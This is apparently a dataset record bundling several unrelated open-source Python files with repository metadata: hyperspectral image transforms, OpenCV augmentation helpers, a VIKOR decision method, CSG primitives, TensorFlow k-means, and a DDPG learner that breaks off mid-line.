start_idx_y, target_type):\n \"\"\"Returns a random cropped patch of input image\"\"\" \n if image.shape[0] > image_size:\n end_idx_x = start_idx_x + image_size\n else:\n start_idx_x = 0\n end_idx_x = image.shape[0]\n\n if image.shape[1] > image_size:\n end_idx_y = start_idx_y + image_size\n else:\n start_idx_y = 0\n end_idx_y = image.shape[1]\n\n if target_type == 'mask':\n image_patch = image[start_idx_x:end_idx_x,start_idx_y:end_idx_y]\n else:\n image_patch = image[start_idx_x:end_idx_x,start_idx_y:end_idx_y,:]\n return image_patch\n\n def center_crop_image(self, image, image_size, target_type):\n \"\"\"Returns central cropped patch of input image\"\"\" \n cropped_image = image\n if image.shape[0] > image_size:\n dif = int(np.floor((image.shape[0] - image_size)/2))\n if target_type == 'mask':\n cropped_image = cropped_image[dif:image_size+dif,:]\n else:\n cropped_image = cropped_image[dif:image_size+dif,:,:]\n\n if image.shape[1] > image_size:\n dif = int(np.floor((image.shape[1] - image_size)/2))\n if target_type == 'mask':\n cropped_image = cropped_image[:,dif:image_size+dif]\n else:\n cropped_image = cropped_image[:,dif:image_size+dif,:]\n return cropped_image\n\n def apply_transform(self, image, start_idx_x, start_idx_y, target_type):\n if image.shape[0] == self.size and image.shape[1] == self.size:\n padded_image = image\n elif image.shape[0] > self.size and image.shape[1] > self.size:\n if self.random_crop:\n padded_image = self.random_crop_image(image, self.size, start_idx_x, start_idx_y, target_type)\n else:\n padded_image = self.center_crop_image(image, self.size, target_type) \n else:\n padded_image = image\n if padded_image.shape[0] > self.size:\n if self.random_crop:\n padded_image = self.random_crop_image(padded_image, self.size, start_idx_x, start_idx_y, target_type)\n else:\n padded_image = self.center_crop_image(padded_image, self.size, target_type) \n else: \n pad_before = int(np.floor((self.size - padded_image.shape[0])/2))\n pad_after = int(np.ceil((self.size - padded_image.shape[0])/2))\n if target_type == 'hyperspectral_image':\n m = nn.ReflectionPad2d((0,0,pad_before,pad_after))\n padded_image = m(torch.movedim(padded_image,-1,0).unsqueeze(0))\n padded_image = torch.movedim(padded_image.squeeze(),0,-1)\n elif target_type == 'mask':\n m = nn.ReflectionPad2d((pad_before,pad_after,0,0))\n padded_image = m(torch.movedim(padded_image,-1,0).unsqueeze(0).unsqueeze(0))\n padded_image = torch.movedim(padded_image.squeeze(),0,-1)\n\n if padded_image.shape[1] > self.size:\n if self.random_crop:\n padded_image = self.random_crop_image(padded_image, self.size, start_idx_x, start_idx_y, target_type)\n else:\n padded_image = self.center_crop_image(padded_image, self.size, target_type) \n else: \n pad_before = int(np.floor((self.size - padded_image.shape[1])/2))\n pad_after = int(np.ceil((self.size - padded_image.shape[1])/2))\n if target_type == 'hyperspectral_image':\n m = nn.ReflectionPad2d((pad_before,pad_after,0,0))\n padded_image = m(torch.movedim(padded_image,-1,0).unsqueeze(0))\n padded_image = torch.movedim(padded_image.squeeze(),0,-1)\n elif target_type == 'mask':\n m = nn.ReflectionPad2d((0,0,pad_before,pad_after))\n padded_image = m(torch.movedim(padded_image,-1,0).unsqueeze(0).unsqueeze(0))\n padded_image = torch.movedim(padded_image.squeeze(),0,-1)\n\n return padded_image\n\n def __call__(self, sample):\n sample_input, target_data, target_type, name = sample['input'], sample['target']['data'], sample['target']['type'], sample['name']\n \n start_idx_x = int(np.round(np.random.random() * (sample_input.shape[0]-self.size)))\n start_idx_y = int(np.round(np.random.random() * (sample_input.shape[1]-self.size)))\n \n sample_input = self.apply_transform(sample_input, start_idx_x, start_idx_y, 'hyperspectral_image')\n\n if target_type == 'hyperspectral_image' or target_type == 'mask':\n target_data = self.apply_transform(target_data, start_idx_x, start_idx_y, target_type)\n\n return {'input': sample_input, 'target': {'data': target_data, 'type': target_type}, 'name': name}\n\nclass RotateImage(Transform):\n \"\"\"Transform class that performs x 90 degree rotations of an image.\"\"\"\n def __init__(self):\n super(RotateImage, self).__init__()\n\n def apply_transform(self, image, rotation_extent):\n if rotation_extent < 0.25:\n rotation = 1\n elif rotation_extent < 0.5:\n rotation = 2\n elif rotation_extent < 0.75:\n rotation = 3\n else:\n rotation = 0\n image = torch.rot90(image, rotation)\n return image\n\n def __call__(self, sample):\n sample_input, target_data, target_type, name = sample['input'], sample['target']['data'], sample['target']['type'], sample['name']\n \n rotation_extent = torch.rand(1)\n\n sample_input = self.apply_transform(sample_input, rotation_extent)\n\n if target_type == 'hyperspectral_image' or target_type == 'mask':\n target_data = self.apply_transform(target_data, rotation_extent)\n\n return {'input': sample_input, 'target': {'data': target_data, 'type': target_type}, 'name': name}\n\nclass SkipDownsampleImage(Transform):\n \"\"\"Transform class that performs skip spatial downsampling of an image.\"\"\"\n def __init__(self, scale):\n super(SkipDownsampleImage, self).__init__()\n assert isinstance(scale, int)\n self.scale = scale\n\n def apply_transform(self, image):\n if self.scale >= 4:\n start_idx = torch.randint(1,self.scale-1, (1,))\n else:\n start_idx = 1 \n image = image[start_idx::self.scale,start_idx::self.scale,:]\n return image\n\n def __call__(self, sample):\n sample_input, target_data, target_type, name = sample['input'], sample['target']['data'], sample['target']['type'], sample['name']\n\n sample_input = self.apply_transform(sample_input)\n\n return {'input': sample_input, 'target': {'data': target_data, 'type': target_type}, 'name': name}\n\nclass BicubicDownsampleImage(Transform):\n \"\"\"Transform class that performs bicubic spatial downsampling of an image.\"\"\"\n def __init__(self, size):\n super(BicubicDownsampleImage, self).__init__()\n assert isinstance(size, int)\n self.size = size\n\n def apply_transform(self, image):\n image = torch.movedim(image, -1, 0).unsqueeze(0)\n image = nn.functional.interpolate(image, size = (self.size,self.size), mode = 'bicubic', align_corners = False)\n image = torch.movedim(image, 1, -1).squeeze(0)\n return image\n\n def __call__(self, sample):\n sample_input, target_data, target_type, name = sample['input'], sample['target']['data'], sample['target']['type'], sample['name']\n\n sample_input = self.apply_transform(sample_input)\n\n return {'input': sample_input, 'target': {'data': target_data, 'type': target_type}, 'name': name}\n\nclass MaxNormalizeImage(Transform):\n \"\"\"Transform class that normalizes image spectra by the maximum image spectral value.\"\"\"\n def __init__(self):\n super(MaxNormalizeImage, self).__init__()\n\n def apply_transform(self, image):\n image_max = torch.amax(image).repeat(image.shape)\n image = torch.div(image, image_max)\n return image\n\n def __call__(self, sample):\n return super(MaxNormalizeImage, self).__call__(sample)\n\nclass AUCNormalizeImage(Transform):\n \"\"\"Transform class that normalizes image spectra by the area under the curve.\"\"\"\n def __init__(self):\n super(AUCNormalizeImage, self).__init__()\n\n def apply_transform(self, image):\n image_sum = torch.sum(image,-1).unsqueeze(-1)\n sum_tile = torch.repeat_interleave(image_sum, image.shape[-1], -1)\n image = torch.div(image, sum_tile)\n return image\n\n def __call__(self, sample):\n return super(AUCNormalizeImage, self).__call__(sample)\n\nclass MinBackgroundImage(Transform):\n \"\"\"Transform class that performs spectral image minimum value background subtraction.\"\"\"\n def __init__(self):\n super(MinBackgroundImage, self).__init__()\n\n def apply_transform(self, image):\n min_values = torch.amin(image, 2)\n min_values = torch.clamp(min_values,min=0.0,max=torch.amax(min_values)).unsqueeze(-1)\n min_tile = torch.repeat_interleave(min_values, image.shape[-1], -1)\n image = image - min_tile\n return image\n\n def __call__(self, sample):\n return super(MinBackgroundImage, self).__call__(sample)\n\nclass PolyBackgroundImage(Transform):\n \"\"\"Transform class that performs spectral image polynomial background subtraction.\"\"\"\n def __init__(self, order):\n super(PolyBackgroundImage, self).__init__()\n assert isinstance(order, int)\n self.order = order\n\n def apply_transform(self, image):\n image = image.numpy()\n reshaped_image = np.reshape(image, ((image.shape[0]*image.shape[1], image.shape[2]))).T\n x = np.arange(0, image.shape[2])\n poly = np.polyfit(x, reshaped_image, self.order)\n image_out = reshaped_image.T\n for i in range(image_out.shape[0]):\n poly_1d = np.poly1d(poly[:,i])\n image_out[i] = image_out[i] - poly_1d(x)\n if np.amin(image_out[i,:]) < 0.0:\n image_out[i,:] = image_out[i,:] + np.abs(np.amin(image_out[i,:]))\n image_out = np.reshape(image_out, ((image.shape[0], image.shape[1], image.shape[2])))\n return torch.from_numpy(image_out)\n\n def __call__(self, sample):\n return super(PolyBackgroundImage, self).__call__(sample)\n\nclass MakeChannelsFirst(Transform):\n \"\"\"Transform class that converts an image from channels last to channels first.\"\"\"\n def __init__(self):\n super(MakeChannelsFirst, self).__init__()\n\n def apply_transform(self, sample):\n sample = torch.movedim(sample, -1, 0)\n return sample\n\n def __call__(self, sample):\n return super(MakeChannelsFirst, self).__call__(sample)\n\nclass MakeChannelsLast(Transform):\n \"\"\"Transform class that converts an image from channels first to channels last.\"\"\"\n def __init__(self):\n super(MakeChannelsLast, self).__init__()\n\n def apply_transform(self, sample):\n sample = torch.movedim(sample, 0, -1)\n return sample\n\n def __call__(self, sample):\n return super(MakeChannelsLast, self).__call__(sample)\n\nclass AddDimFirst(Transform):\n \"\"\"Transform class that adds a dimension at the start.\"\"\"\n def __init__(self):\n super(AddDimFirst, self).__init__()\n\n def apply_transform(self, sample):\n sample = sample.unsqueeze(0)\n return sample\n\n def __call__(self, sample):\n return super(AddDimFirst, self).__call__(sample)\n\nclass AddDimLast(Transform):\n \"\"\"Transform class that adds a dimension at the end.\"\"\"\n def __init__(self):\n super(AddDimLast, self).__init__()\n\n def apply_transform(self, sample):\n sample = sample.unsqueeze(-1)\n return sample\n\n def __call__(self, sample):\n return super(AddDimLast, self).__call__(sample)\n\nclass ToTensor(Transform):\n \"\"\"Transform class that converts a numpy array to a torch tensor.\"\"\"\n def __init__(self):\n super(ToTensor, self).__init__()\n\n def apply_transform(self, image):\n return torch.from_numpy(image).double()\n \n def __call__(self, sample):\n sample_input, target_data, target_type, name = sample['input'], sample['target']['data'], sample['target']['type'], sample['name']\n\n sample_input = self.apply_transform(sample_input)\n\n if target_type == 'spectrum' or target_type == 'hyperspectral_image' or target_type == 'mask':\n target_data = self.apply_transform(target_data)\n\n return {'input': sample_input, 'target': {'data': target_data, 'type': target_type}, 'name': name}\n\nclass ToNumpy(Transform):\n \"\"\"Transform class that converts a torch tensor to a numpy array.\"\"\"\n def __init__(self):\n super(ToNumpy, self).__init__()\n\n def apply_transform(self, image):\n return image.numpy()\n \n def __call__(self, sample):\n sample_input, target_data, target_type, name = sample['input'], sample['target']['data'], sample['target']['type'], sample['name']\n\n sample_input = self.apply_transform(sample_input)\n\n if target_type == 'spectrum' or target_type == 'hyperspectral_image' or target_type == 'mask':\n target_data = self.apply_transform(target_data)\n\n return {'input': sample_input, 'target': {'data': target_data, 'type': target_type}, 'name': name}" ]
[ [ "torch.amax", "torch.rot90", "torch.squeeze", "numpy.random.random", "torch.flip", "torch.sum", "scipy.sparse.linalg.spsolve", "scipy.sparse.diags", "torch.randint", "numpy.arange", "numpy.polyfit", "torch.nn.ReflectionPad2d", "numpy.poly1d", "torch.div", "numpy.reshape", "numpy.round", "torch.repeat_interleave", "numpy.amin", "numpy.floor", "torch.movedim", "torch.rand", "numpy.ceil", "scipy.sparse.spdiags", "torch.nn.functional.interpolate", "numpy.ones", "torch.from_numpy", "torch.amin", "numpy.random.uniform", "torch.nn.ReflectionPad1d" ] ]
ray-g/FormulaCooker
[ "ff2d781a675a60638ff3e16e146e30a2da847d24" ]
[ "formulacooker/data/preprocessors/image_preprocessor.py" ]
[ "import cv2\nimport numpy as np\n\ndef randomHueSaturationValue(image,\n hue_shift_limit=(-180, 180),\n sat_shift_limit=(-255, 255),\n val_shift_limit=(-255, 255), u=0.5):\n if np.random.random() < u:\n image = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n h, s, v = cv2.split(image)\n hue_shift = np.random.uniform(hue_shift_limit[0], hue_shift_limit[1])\n h = cv2.add(h, hue_shift)\n sat_shift = np.random.uniform(sat_shift_limit[0], sat_shift_limit[1])\n s = cv2.add(s, sat_shift)\n val_shift = np.random.uniform(val_shift_limit[0], val_shift_limit[1])\n v = cv2.add(v, val_shift)\n image = cv2.merge((h, s, v))\n image = cv2.cvtColor(image, cv2.COLOR_HSV2BGR)\n\n return image\n\n\ndef randomShiftScaleRotate(image, mask=None,\n shift_limit=(-0.0625, 0.0625),\n scale_limit=(-0.1, 0.1),\n rotate_limit=(-45, 45), aspect_limit=(0, 0),\n borderMode=cv2.BORDER_CONSTANT, u=0.5):\n if np.random.random() < u:\n height, width, channel = image.shape\n\n angle = np.random.uniform(rotate_limit[0], rotate_limit[1]) # degree\n scale = np.random.uniform(1 + scale_limit[0], 1 + scale_limit[1])\n aspect = np.random.uniform(1 + aspect_limit[0], 1 + aspect_limit[1])\n sx = scale * aspect / (aspect ** 0.5)\n sy = scale / (aspect ** 0.5)\n dx = round(np.random.uniform(shift_limit[0], shift_limit[1]) * width)\n dy = round(np.random.uniform(shift_limit[0], shift_limit[1]) * height)\n\n cc = np.math.cos(angle / 180 * np.math.pi) * sx\n ss = np.math.sin(angle / 180 * np.math.pi) * sy\n rotate_matrix = np.array([[cc, -ss], [ss, cc]])\n\n box0 = np.array([[0, 0], [width, 0], [width, height], [0, height], ])\n box1 = box0 - np.array([width / 2, height / 2])\n box1 = np.dot(box1, rotate_matrix.T) + np.array([width / 2 + dx, height / 2 + dy])\n\n box0 = box0.astype(np.float32)\n box1 = box1.astype(np.float32)\n mat = cv2.getPerspectiveTransform(box0, box1)\n image = cv2.warpPerspective(image, mat, (width, height), flags=cv2.INTER_LINEAR, borderMode=borderMode,\n borderValue=(\n 0, 0,\n 0,))\n if mask != None:\n mask = cv2.warpPerspective(mask, mat, (width, height), flags=cv2.INTER_LINEAR, borderMode=borderMode,\n borderValue=(\n 0, 0,\n 0,))\n\n if mask != None:\n return image, mask\n return image\n\n\ndef randomHorizontalFlip(image, mask=None, u=0.5):\n if np.random.random() < u:\n image = cv2.flip(image, 1)\n if mask != None:\n mask = cv2.flip(mask, 1)\n\n if mask != None:\n return image, mask\n return image\n\n\ndef randomVerticalFlip(image, mask=None, u=0.5):\n if np.random.random() < u:\n image = cv2.flip(image, 0)\n if mask != None:\n mask = cv2.flip(mask, 0)\n\n if mask != None:\n return image, mask\n return image\n" ]
[ [ "numpy.array", "numpy.dot", "numpy.random.uniform", "numpy.math.cos", "numpy.math.sin", "numpy.random.random" ] ]
energyinpython/pyREPO
[ "dddae9ffa34d4f7624e5471a7ae53ce794938e0b" ]
[ "src/pyrepo_mcda/mcda_methods/vikor.py" ]
[ "import numpy as np\n\nfrom .mcda_method import MCDA_method\n\n\nclass VIKOR(MCDA_method):\n def __init__(self, normalization_method = None, v = 0.5):\n \"\"\"Create the VIKOR method object.\n\n Parameters\n -----------\n normalization_method : function\n VIKOR does not use normalization by default, thus `normalization_method` is set to None by default.\n However, you can choose method for normalization of decision matrix chosen `normalization_method` from `normalizations`.\n It is used in a way `normalization_method(X, types)` where `X` is a decision matrix\n and `types` is a vector with criteria types where 1 means profit and -1 means cost.\n\n v : float\n parameter that is weight of strategy of the majority of criteria (the maximum group utility)\n \"\"\"\n self.v = v\n self.normalization_method = normalization_method\n\n\n def __call__(self, matrix, weights, types):\n \"\"\"\n Score alternatives provided in decision matrix `matrix` using criteria `weights` and criteria `types`.\n\n Parameters\n -----------\n matrix : ndarray\n Decision matrix with m alternatives in rows and n criteria in columns.\n weights: ndarray\n Vector with criteria weights. Sum of weights must be equal to 1.\n types: ndarray\n Vector with criteria types. Profit criteria are represented by 1 and cost by -1.\n\n Returns\n --------\n ndrarray\n Vector with preference values of each alternative. The best alternative has the lowest preference value.\n\n Examples\n ---------\n >>> vikor = VIKOR(normalization_method = minmax_normalization)\n >>> pref = vikor(matrix, weights, types)\n >>> rank = rank_preferences(pref, reverse = False) \n \"\"\"\n VIKOR._verify_input_data(matrix, weights, types)\n return VIKOR._vikor(matrix, weights, types, self.normalization_method, self.v)\n\n\n @staticmethod\n def _vikor(matrix, weights, types, normalization_method, v):\n # Without special normalization method\n if normalization_method == None:\n\n # Determine the best `fstar` and the worst `fmin` values of all criterion function\n maximums_matrix = np.amax(matrix, axis = 0)\n minimums_matrix = np.amin(matrix, axis = 0)\n\n fstar = np.zeros(matrix.shape[1])\n fmin = np.zeros(matrix.shape[1])\n\n # for profit criteria (`types` == 1) and for cost criteria (`types` == -1)\n fstar[types == 1] = maximums_matrix[types == 1]\n fstar[types == -1] = minimums_matrix[types == -1]\n fmin[types == 1] = minimums_matrix[types == 1]\n fmin[types == -1] = maximums_matrix[types == -1]\n\n # Calculate the weighted matrix\n weighted_matrix = weights * ((fstar - matrix) / (fstar - fmin))\n else:\n # With special normalization method\n norm_matrix = normalization_method(matrix, types)\n fstar = np.amax(norm_matrix, axis = 0)\n fmin = np.amin(norm_matrix, axis = 0)\n\n # Calculate the weighted matrix\n weighted_matrix = weights * ((fstar - norm_matrix) / (fstar - fmin))\n\n # Calculate the `S` and `R` values\n S = np.sum(weighted_matrix, axis = 1)\n R = np.amax(weighted_matrix, axis = 1)\n # Calculate the Q values\n Sstar = np.min(S)\n Smin = np.max(S)\n Rstar = np.min(R)\n Rmin = np.max(R)\n Q = v * (S - Sstar) / (Smin - Sstar) + (1 - v) * (R - Rstar) / (Rmin - Rstar)\n return Q" ]
[ [ "numpy.max", "numpy.zeros", "numpy.sum", "numpy.min", "numpy.amax", "numpy.amin" ] ]
mafried/pycsg
[ "b5b47b0dba96ae62a8b38606c2b38e8bdf3496bf" ]
[ "pycsg/primitives.py" ]
[ "from pycsg.csg_node import CSGNode, register_node_type\nimport numpy as np\n\n\nclass Sphere(CSGNode):\n def __init__(self, radius, name):\n super().__init__(name)\n\n self.radius = radius\n\n def signed_distance(self, p):\n return np.linalg.norm(p, axis=1) - self.radius\n\n def to_dict(self):\n d = super().to_dict().copy()\n d['radius'] = self.radius\n return d\n\n @staticmethod\n def from_dict(d, children):\n return Sphere(d['radius'],d['name'])\n\n @staticmethod\n def node_type():\n return 'sphere'\n\n\nclass Box(CSGNode):\n def __init__(self, size, name):\n super().__init__(name)\n\n self.size = np.array(size)\n\n def signed_distance(self, p):\n\n return np.max(np.abs(p) - self.size / 2.0, axis=1)\n\n def to_dict(self):\n d = super().to_dict().copy()\n d['size'] = list(self.size)\n return d\n\n @staticmethod\n def from_dict(d, children):\n return Box(d['size'],d['name'])\n\n @staticmethod\n def node_type():\n return 'box'\n\n\nclass Cylinder(CSGNode):\n def __init__(self, radius, height, name):\n super().__init__(name)\n\n self.radius = radius\n self.height = height\n\n def signed_distance(self, p):\n\n return np.max(np.stack(\n (\n (np.linalg.norm(p[:, [0, 2]], axis=1) - self.radius),\n (np.abs(p[:, 1]) - self.height / 2.0)\n ),\n axis=1\n ), axis=1\n )\n\n def to_dict(self):\n d = super().to_dict().copy()\n d['radius'] = self.radius\n d['height'] = self.height\n return d\n\n @staticmethod\n def from_dict(d, children):\n return Cylinder(d['radius'], d['height'],d['name'])\n\n @staticmethod\n def node_type():\n return 'cylinder'\n\n\nregister_node_type(Sphere)\nregister_node_type(Box)\nregister_node_type(Cylinder)\n" ]
[ [ "numpy.array", "numpy.linalg.norm", "numpy.abs" ] ]
dataholiks/deeplearning_part2
[ "f7802407a215b63e5aab833673890721e66e80d6" ]
[ "kmeans.py" ]
[ "import tensorflow as tf\nimport math, numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef plot_data(centroids, data, n_samples):\n colour = plt.cm.rainbow(np.linspace(0,1,len(centroids)))\n for i, centroid in enumerate(centroids):\n samples = data[i*n_samples:(i+1)*n_samples]\n plt.scatter(samples[:,0], samples[:,1], c=colour[i])\n plt.plot(centroid[0], centroid[1], markersize=10, marker=\"x\", color='k', mew=5)\n plt.plot(centroid[0], centroid[1], markersize=5, marker=\"x\", color='m', mew=2)\n\n \nclass Kmeans(object):\n\n def __init__(self, data, n_clusters):\n self.n_data, self.n_dim = data.shape\n self.n_clusters = n_clusters\n self.data = data\n self.v_data = tf.Variable(data)\n self.n_samples = self.n_data//self.n_clusters\n\n def run(self):\n tf.global_variables_initializer().run()\n initial_centroids = self.find_initial_centroids(self.n_clusters).eval()\n curr_centroids = tf.Variable(initial_centroids)\n nearest_indices = self.assign_to_nearest(curr_centroids)\n updated_centroids = self.update_centroids(nearest_indices)\n # Begin main algorithm\n tf.global_variables_initializer().run()\n c = initial_centroids\n for i in range(10):\n c2 = curr_centroids.assign(updated_centroids).eval()\n if np.allclose(c,c2): break\n c=c2\n return c2\n\n\n def find_initial_centroids(self, k):\n r_index = tf.random_uniform([1], 0, self.n_data, dtype=tf.int32)\n r = tf.expand_dims(self.v_data[tf.squeeze(r_index)], dim=1)\n initial_centroids = []\n for i in range(k):\n diff = tf.squared_difference(tf.expand_dims(self.v_data, 0), tf.expand_dims(r,1))\n dist = tf.reduce_sum(diff, axis=2)\n farthest_index = tf.argmax(tf.reduce_min(dist, axis=0), 0)\n farthest_point = self.v_data[tf.to_int32(farthest_index)]\n initial_centroids.append(farthest_point)\n r = tf.stack(initial_centroids)\n return r\n\n def choose_random_centroids(self):\n n_samples = tf.shape(v_data)[0]\n random_indices = tf.random_shuffle(tf.range(0, n_samples))\n centroid_indices = random_indices[:self.n_clusters]\n return tf.gather(self.v_data, centroid_indices)\n\n def assign_to_nearest(self, centroids):\n dim_dists = tf.squared_difference(tf.expand_dims(self.v_data, 0), tf.expand_dims(centroids, 1))\n return tf.argmin(tf.reduce_sum(dim_dists , 2), 0)\n\n def update_centroids(self, nearest_indices):\n partitions = tf.dynamic_partition(self.v_data, tf.to_int32(nearest_indices), self.n_clusters)\n return tf.concat([tf.expand_dims(tf.reduce_mean(partition, 0), 0)\n for partition in partitions], 0)\n" ]
[ [ "tensorflow.reduce_min", "tensorflow.shape", "tensorflow.range", "tensorflow.expand_dims", "tensorflow.random_uniform", "matplotlib.pyplot.plot", "tensorflow.Variable", "numpy.allclose", "tensorflow.squeeze", "tensorflow.reduce_sum", "tensorflow.stack", "tensorflow.gather", "matplotlib.pyplot.scatter", "tensorflow.global_variables_initializer", "tensorflow.to_int32", "tensorflow.reduce_mean" ] ]
gilwoolee/bpo_baselines
[ "2fbd39be8e79d69f2d2b23b4e5b8e6dfd372a58a" ]
[ "baselines/ddpg/ddpg_learner.py" ]
[ "from functools import reduce\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom baselines import logger\nfrom baselines.ddpg.models import Actor, Critic\nfrom baselines.common.mpi_running_mean_std import RunningMeanStd\ntry:\n from mpi4py import MPI\n from baselines.common.mpi_adam_optimizer import MpiAdamOptimizer\n from baselines.common.mpi_util import sync_from_root\nexcept ImportError:\n MPI = None\nfrom baselines.common.tf_util import load_variables, save_variables\n\ndef normalize(x, stats):\n if stats is None:\n return x\n return (x - stats.mean) / (stats.std + 1e-8)\n\n\ndef denormalize(x, stats):\n if stats is None:\n return x\n return x * stats.std + stats.mean\n\[email protected]\ndef reduce_std(x, axis=None, keepdims=False):\n return tf.sqrt(reduce_var(x, axis=axis, keepdims=keepdims))\n\ndef reduce_var(x, axis=None, keepdims=False):\n m = tf.reduce_mean(x, axis=axis, keepdims=True)\n devs_squared = tf.square(x - m)\n return tf.reduce_mean(devs_squared, axis=axis, keepdims=keepdims)\n\[email protected]\ndef update_perturbed_actor(actor, perturbed_actor, param_noise_stddev):\n\n for var, perturbed_var in zip(actor.variables, perturbed_actor.variables):\n if var in actor.perturbable_vars:\n perturbed_var.assign(var + tf.random.normal(shape=tf.shape(var), mean=0., stddev=param_noise_stddev))\n else:\n perturbed_var.assign(var)\n\n\nclass DDPG(tf.Module):\n def __init__(self, actor, critic, memory, observation_shape, action_shape, param_noise=None, action_noise=None,\n gamma=0.99, tau=0.001, normalize_returns=False, enable_popart=False, normalize_observations=True,\n batch_size=128, observation_range=(-5., 5.), action_range=(-1., 1.), return_range=(-np.inf, np.inf),\n critic_l2_reg=0., actor_lr=1e-4, critic_lr=1e-3, clip_norm=None, reward_scale=1.):\n\n # Parameters.\n self.gamma = gamma\n self.tau = tau\n self.memory = memory\n self.normalize_observations = normalize_observations\n self.normalize_returns = normalize_returns\n self.action_noise = action_noise\n self.param_noise = param_noise\n self.action_range = action_range\n self.return_range = return_range\n self.observation_range = observation_range\n self.observation_shape = observation_shape\n self.critic = critic\n self.actor = actor\n self.clip_norm = clip_norm\n self.enable_popart = enable_popart\n self.reward_scale = reward_scale\n self.batch_size = batch_size\n self.stats_sample = None\n self.critic_l2_reg = critic_l2_reg\n self.actor_lr = tf.constant(actor_lr)\n self.critic_lr = tf.constant(critic_lr)\n\n # Observation normalization.\n if self.normalize_observations:\n with tf.name_scope('obs_rms'):\n self.obs_rms = RunningMeanStd(shape=observation_shape)\n else:\n self.obs_rms = None\n\n # Return normalization.\n if self.normalize_returns:\n with tf.name_scope('ret_rms'):\n self.ret_rms = RunningMeanStd()\n else:\n self.ret_rms = None\n\n # Create target networks.\n self.target_critic = Critic(actor.nb_actions, observation_shape, name='target_critic', network=critic.network, **critic.network_kwargs)\n self.target_actor = Actor(actor.nb_actions, observation_shape, name='target_actor', network=actor.network, **actor.network_kwargs)\n\n # Set up parts.\n if self.param_noise is not None:\n self.setup_param_noise()\n\n if MPI is not None:\n comm = MPI.COMM_WORLD\n self.actor_optimizer = MpiAdamOptimizer(comm, self.actor.trainable_variables)\n self.critic_optimizer = MpiAdamOptimizer(comm, self.critic.trainable_variables)\n else:\n self.actor_optimizer = tf.keras.optimizers.Adam(learning_rate=actor_lr)\n self.critic_optimizer = tf.keras.optimizers.Adam(learning_rate=critic_lr)\n\n logger.info('setting up actor optimizer')\n actor_shapes = [var.get_shape().as_list() for var in self.actor.trainable_variables]\n actor_nb_params = sum([reduce(lambda x, y: x * y, shape) for shape in actor_shapes])\n logger.info(' actor shapes: {}'.format(actor_shapes))\n logger.info(' actor params: {}'.format(actor_nb_params))\n logger.info('setting up critic optimizer')\n critic_shapes = [var.get_shape().as_list() for var in self.critic.trainable_variables]\n critic_nb_params = sum([reduce(lambda x, y: x * y, shape) for shape in critic_shapes])\n logger.info(' critic shapes: {}'.format(critic_shapes))\n logger.info(' critic params: {}'.format(critic_nb_params))\n if self.critic_l2_reg > 0.:\n critic_reg_vars = []\n for layer in self.critic.network_builder.layers[1:]:\n critic_reg_vars.append(layer.kernel)\n for var in critic_reg_vars:\n logger.info(' regularizing: {}'.format(var.name))\n logger.info(' applying l2 regularization with {}'.format(self.critic_l2_reg))\n\n logger.info('setting up critic target updates ...')\n for var, target_var in zip(self.critic.variables, self.target_critic.variables):\n logger.info(' {} <- {}'.format(target_var.name, var.name))\n logger.info('setting up actor target updates ...')\n for var, target_var in zip(self.actor.variables, self.target_actor.variables):\n logger.info(' {} <- {}'.format(target_var.name, var.name))\n\n if self.param_noise:\n logger.info('setting up param noise')\n for var, perturbed_var in zip(self.actor.variables, self.perturbed_actor.variables):\n if var in actor.perturbable_vars:\n logger.info(' {} <- {} + noise'.format(perturbed_var.name, var.name))\n else:\n logger.info(' {} <- {}'.format(perturbed_var.name, var.name))\n for var, perturbed_var in zip(self.actor.variables, self.perturbed_adaptive_actor.variables):\n if var in actor.perturbable_vars:\n logger.info(' {} <- {} + noise'.format(perturbed_var.name, var.name))\n else:\n logger.info(' {} <- {}'.format(perturbed_var.name, var.name))\n\n if self.normalize_returns and self.enable_popart:\n self.setup_popart()\n\n self.initial_state = None # recurrent architectures not supported yet\n\n\n def setup_param_noise(self):\n assert self.param_noise is not None\n\n # Configure perturbed actor.\n self.perturbed_actor = Actor(self.actor.nb_actions, self.observation_shape, name='param_noise_actor', network=self.actor.network, **self.actor.network_kwargs)\n\n # Configure separate copy for stddev adoption.\n self.perturbed_adaptive_actor = Actor(self.actor.nb_actions, self.observation_shape, name='adaptive_param_noise_actor', network=self.actor.network, **self.actor.network_kwargs)\n\n def setup_popart(self):\n # See https://arxiv.org/pdf/1602.07714.pdf for details.\n for vs in [self.critic.output_vars, self.target_critic.output_vars]:\n assert len(vs) == 2\n M, b = vs\n assert 'kernel' in M.name\n assert 'bias' in b.name\n assert M.get_shape()[-1] == 1\n assert b.get_shape()[-1] == 1\n\n @tf.function\n def step(self, obs, apply_noise=True, compute_Q=True):\n normalized_obs = tf.clip_by_value(normalize(obs, self.obs_rms), self.observation_range[0], self.observation_range[1])\n actor_tf = self.actor(normalized_obs)\n if self.param_noise is not None and apply_noise:\n action = self.perturbed_actor(normalized_obs)\n else:\n action = actor_tf\n\n if compute_Q:\n normalized_critic_with_actor_tf = self.critic(normalized_obs, actor_tf)\n q = denormalize(tf.clip_by_value(normalized_critic_with_actor_tf, self.return_range[0], self.return_range[1]), self.ret_rms)\n else:\n q = None\n\n if self.action_noise is not None and apply_noise:\n noise = self.action_noise()\n action += noise\n action = tf.clip_by_value(action, self.action_range[0], self.action_range[1])\n\n return action, q, None, None\n\n def store_transition(self, obs0, action, reward, obs1, terminal1):\n reward *= self.reward_scale\n\n B = obs0.shape[0]\n for b in range(B):\n # import IPython; IPython.embed(); import sys; sys.exit(0)\n self.memory.append(obs0[b], action[b], reward[b], obs1[b], terminal1[b])\n if self.normalize_observations:\n self.obs_rms.update(np.array([obs0[b]]))\n\n def train(self):\n batch = self.memory.sample(batch_size=self.batch_size)\n obs0, obs1 = tf.constant(batch['obs0']), tf.constant(batch['obs1'])\n actions, rewards, terminals1 = tf.constant(batch['actions']), tf.constant(batch['rewards']), tf.constant(batch['terminals1'], dtype=tf.float32)\n normalized_obs0, target_Q = self.compute_normalized_obs0_and_target_Q(obs0, obs1, rewards, terminals1)\n\n if self.normalize_returns and self.enable_popart:\n old_mean = self.ret_rms.mean\n old_std = self.ret_rms.std\n self.ret_rms.update(target_Q.flatten())\n # renormalize Q outputs\n new_mean = self.ret_rms.mean\n new_std = self.ret_rms.std\n for vs in [self.critic.output_vars, self.target_critic.output_vars]:\n kernel, bias = vs\n kernel.assign(kernel * old_std / new_std)\n bias.assign((bias * old_std + old_mean - new_mean) / new_std)\n\n\n actor_grads, actor_loss = self.get_actor_grads(normalized_obs0)\n critic_grads, critic_loss = 